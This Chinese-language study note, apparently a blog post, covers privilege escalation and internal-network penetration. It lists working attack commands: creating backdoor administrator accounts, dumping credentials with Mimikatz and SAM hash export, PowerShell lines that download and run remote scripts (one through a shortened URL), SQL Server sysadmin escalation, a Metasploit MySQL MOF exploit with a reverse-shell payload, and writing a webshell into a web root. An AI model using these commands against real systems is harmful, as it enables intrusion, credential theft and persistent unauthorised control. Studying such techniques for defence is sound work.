提权与内网渗透

权限在不同的应用中有不同的分类,安全相关的大致分为以下几种
1.匿名访问权限
2.来宾权限
3.用户权限
4.管理员权限
5.系统权限
电脑常见的的权限分为用户权限和管理员权限

例如普通用户权限会有很多限制,例如无法执行某些程序以及服务

提权与内网渗透_第1张图片

Window基础命令

query user # 查看用户登录情况
whoami # 查看当前用户权限
systeminfo # 查看当前系统版本与补丁信息

添加普通用户
net user myuser 123456 /add
将myuser设置成超级管理员
net localgroup administrators myuser /add

net localgroup “Remote Desktop Users” myuser /add

netstat -ano #查看端口情况

Linux基础命令
cat /etc/issue 查看发行版本
cat /etc/*-release
cat uname -a 查看内核版本
lsb_relase -a

常见的提权方法总结

提权与内网渗透_第2张图片

提权教程

提权与内网渗透_第3张图片
Exploit-db本地提权
https://www.exploit-db.com/local/
Windows提权漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
Linux提权漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
Mac-OS提权漏洞集合
https://github.com/SecWiki/macos-kernel-exploits
SecWiki
https://www.sec-wiki.com/
专注于远程安全协作团队
https://team.sec-wiki.com/



密码、认证与权限

获取密码的手段

1.通过中间人劫持:网络监听
2.通过用户主机窃听:键盘记录
3.通过简单猜测:常用密码
4.通过系统漏洞:永恒之蓝
5.用户自己泄露:git、配置文件等泄露方法
6.通过系统后门:shift后门



密码、认证与权限

获取密码的手段

1.通过中间人劫持:网络监听
2.通过用户主机窃听:键盘记录
3.通过简单猜测:常用密码
4.通过系统漏洞:永恒之蓝
5.用户自己泄露:git、配置文件等泄露方法
6.通过系统后门:shift后门

Windows密码获取与破解
Windows密码原理:
Windows使用了两种方法对用户的密码进行哈希处理,
分别为LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希。
所谓哈希(hash),就是使用一种加密函数进行计算后的结果。
Windows的系统密码hash默认情况下一般由两部分组成:
第一部分是LM-hash,第二部分是NTLM-hash。

Windows密码hash导出

1.导出导入SAM、system
通过SAMCoper.exe把C:\WINDOWS\System32\config\SAM 文件拷贝出来
通过SAMCoper.exe把C:\WINDOWS\System32\config\SYSTEM 文件拷贝出来
2.gethashs导出
来获取SAM和SYSTEM文件里的哈希值
3.Pwdump导出
来获取SAM和SYSTEM文件里的哈希值
4.Windows密码破解
工具 SAMInside.exe 和 ophcrack.exe
提取SAM和SYSTEM文件里的明文密码
4.Windows明文密码
来获取SAM和SYSTEM文件里的哈希值
Mimikatz 明文密码获取
privllege::debug
sekurlsa::logonpasswords
Getpass明文密码获取

Linux密码获取与破解
在linux系统中,涉及系统登录密码的重要文件有两个:
/etc/passwd # 用户信息
root:x:0:0:root:/root:/bin/bash
用户名
/etc/shadow # 密码信息

Linux系统的加密算法
常用4种,可以通过账号后面的$x进行判断
1.MD5
2.Blowfish
3.sha-256
4.sha-512

内网
1.横向渗透
2.纵向渗透



Window基础命令

查看系统信息
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
hostname
环境变量
set
查看用户信息
net user
查看服务pid号
tasklist /svc|find "TermService"
netstat -ano|find "1488"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
查看当前安装程序
wmic product get name,version

Windows分析工具利用
1.WinSystemHelper
上传bat+txt工具,运行bat查看结果
利用这些系统的漏洞,以及exe
https://github.com/webattacker/windows-kernel-exploits

针对提权小神奇Sherlock的分析与利用

https://www.freebuf.com/sectool/131393.html
本地加载脚本
Import-Module Sherlock.ps1
远程加载脚本
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
然后就自动发现漏洞了

PowerSploit下的Privesc的漏洞自动扫描和查找

自动挖掘漏洞,并告知属于哪一年的哪个漏洞,以便于我们可以按照教程流程攻击
https://github.com/webattacker/PowerSploit

Privesc

本地加载脚本
Import-Module .\Privesc.psm1
获取函数
Get-Command -Module Privesc
检测全部信息
Invoke-AllChecks
命令行下执行
powershell.exe -exec bypass -Command
远程调用执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP');Invoke-AllChecks"
添加用户
Install-ServiceBinary -ServiceName 'Apache_pn' -UserName huanquan -Password 123456



Linux 操作系统提权

NFS
1)、文件挂载权限
Cron
1)、路径+自动运行
2)、通配符执行
3)、文件修改
内核提权(最核心的)
1)、脏牛提权(dirtycow) https://github.com/FireFart/dirtycow
2)、程序劫持 cve-2016-1531
3)、密码(内存读取密码、本地配置文件、历史记录)
4)、Shell反弹方法:https://www.freebuf.com/articles/system/178150.html

给文件授权执行权限 chmod 777

为什么这个漏洞叫做脏牛 Dirty Cow?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,
导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步
导致提权漏洞

漏洞危害:低权限用户利用该漏洞技术可以在全版本linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受到影响了,知道2016年10月18日才修复。

360 Vulpecker Team: Android 7.0最新的10月补丁安全级别的系统上测试过POC,确认Android受影响

echo www.google.com > foo
chmod 0404 foo

0404表示八进制对权限控制的定义写法,默认对所有用户只有读取权限,无法修改删除



SQL SERVER数据库漏洞提权

SA口令获取方法

1.WebShell或源码获取
一般网站配置文件中存在存放明文账号和密码,如config.aspx,web.config等,server=localhost;UID=sa;PWD=test123;database=testdb;
2.源代码泄露
3.嗅探
在局域网中使用cain等工具进行arp嗅探的时候可以住区到1433端口的数据库明文登录密码
4.口令暴力破解
利用mssql暴力破解工具对mssql进行暴力破解,一旦成功将获取sa相应权限

常用的SQL Server的提权命令

查看数据库版本
select @@version
查看数据库系统参数
exec master..xp_msver;
查看用户所属角色信息
sp_helpsrvrolemember
查看当前数据库
select db_name()
显示机器上的驱动器
xp_availablemedia
查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin')
select IS_MEMBER('db_owner')
还有类似serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
添加用户
exec master.dbo.sp_addlogin test,password # 添加用户
exec master.dbo.sp_addsrvrolemember test,sysadmin # 加权限
启动停止服务
exec master..xp_servicecontrol 'stop','test'
exec master..xp_servicecontrol 'start','test'
检查功能
select count(*) from master.dbo.sysobjects where name='xp_cmdshell'
还有一些xp_regread、sp_makewebtask、xp_subdirs、xp_dirtree、sp_addextendedproc

提权与内网渗透_第4张图片
提权与内网渗透_第5张图片
提权与内网渗透_第6张图片
提权与内网渗透_第7张图片
SQL Server 2008 另类提权思路
https://bbs.ichunqiu.com/thread-23169-1-1.html

提权与内网渗透_第8张图片



MySQL漏洞与提权 需要在Kali Linux下操作

Mysql的链接文件一般为conn.php、config.php、common.inc.php、config.inc.php等
所说的mysql权限提升一般在root权限下

1.数据库查询
select Host,user,password from mysql.user 2.配置文件中读取 3.下载user文件select @@basedir;select @@plugin_dir #>5.1`

提权实战

Udf(用户定义函数)提权
1.导出C:\windows\udf.dll

Mof(托管对象格式)提权 在Kali Linux下

导入c:\windows\system32\wbem\mof\
use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit




Metasploit 使用

Metasploit是一个漏洞利用框架,简称MSF,默认情况kali直接封装msf工具
对外提供四种接口:msfconole、msfcli、msfgui以及msfweb
https://www.metasploit.com/

Metasploit漏洞利用和提权

  1. exploit
    利用程序、针对漏洞、权限进行利用,是主要使用的模块
  2. payload
    用于在目标系统中运行任意命令或者执行特定代码,主要用于shell获取
  3. auxiliary
    该模块包含了扫描、嗅探、指纹识别、网络协议欺骗等相关功能模块
  4. encoder
    该模块主要针对exploit模块进行代码免杀,以逃过杀毒软件、防火墙,ids等安全防护机制的检测

基础命令

search ms17 # 查找
use exploit/multi/handler # 使用
info # 查看信息
show exploits/payloads/options # 显示可用信息
set options/payload # 给相关对象赋值
exploit/run # 执行
exploit -j # 后台执行
session -i -v # 查看当前可用会话
session -K # 杀死所有活跃会话

通过mysql的也可以实现后端网站目录浏览

创建一个表
CREATE TABLE mysql.ichunqiu (namecode TEXT NOT NULL);
将一句话木马插入到数据库
INSERT INTO mysql.ichunqiu (namecode) VALUE("");
到一句话木马导出到文件
SELECT namecode FROM ichunqiu INTO OUTFILE '/var/www/tmp/i.php';
然后就可以通过中国菜刀访问浏览后台网站了

netcat

可以在两台设备上面相互交互,即侦听模式/传输模式
端口扫描、端口监听、远程文件传输、远程shell等等
https://www.freebuf.com/sectool/168661.html
https://www.jianshu.com/p/cb26a0f6c622

端口扫描

https://nmap.org/

数据库扫描器

https://github.com/se55i0n/DBScanner

工具比较全的网站

http://nirsoft.net/

狙杀链

1.侦查阶段(Reconnaissance)
收集攻击目标的信息
2.武器化阶段(Weaponization)
构建可能使用的攻击工具,可以说是广义角度的渗透
3.传递阶段(Delivery)
通过某种方法将攻击工具发送到攻击目标
4.利用阶段(Exploitation)
由攻击工具出发系统中的漏洞
5.安装阶段(Installation)
执行恶意脚本/安装恶意程序
6.命令&控制阶段(Command & Control)
在攻击目标上开启后门,通过后门传递指令,控制攻击目标
7.攻击目的阶段(Act on Objectives)
实现最终的攻击目的

渗透方法

1.鱼叉式网络钓鱼
2.供应链攻击
3.信任源攻击
4.可移动媒介复制/摆渡攻击
5.硬件攻击
6.应用漏洞
7.水坑攻击
“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”。

你可能感兴趣的:(Web安全)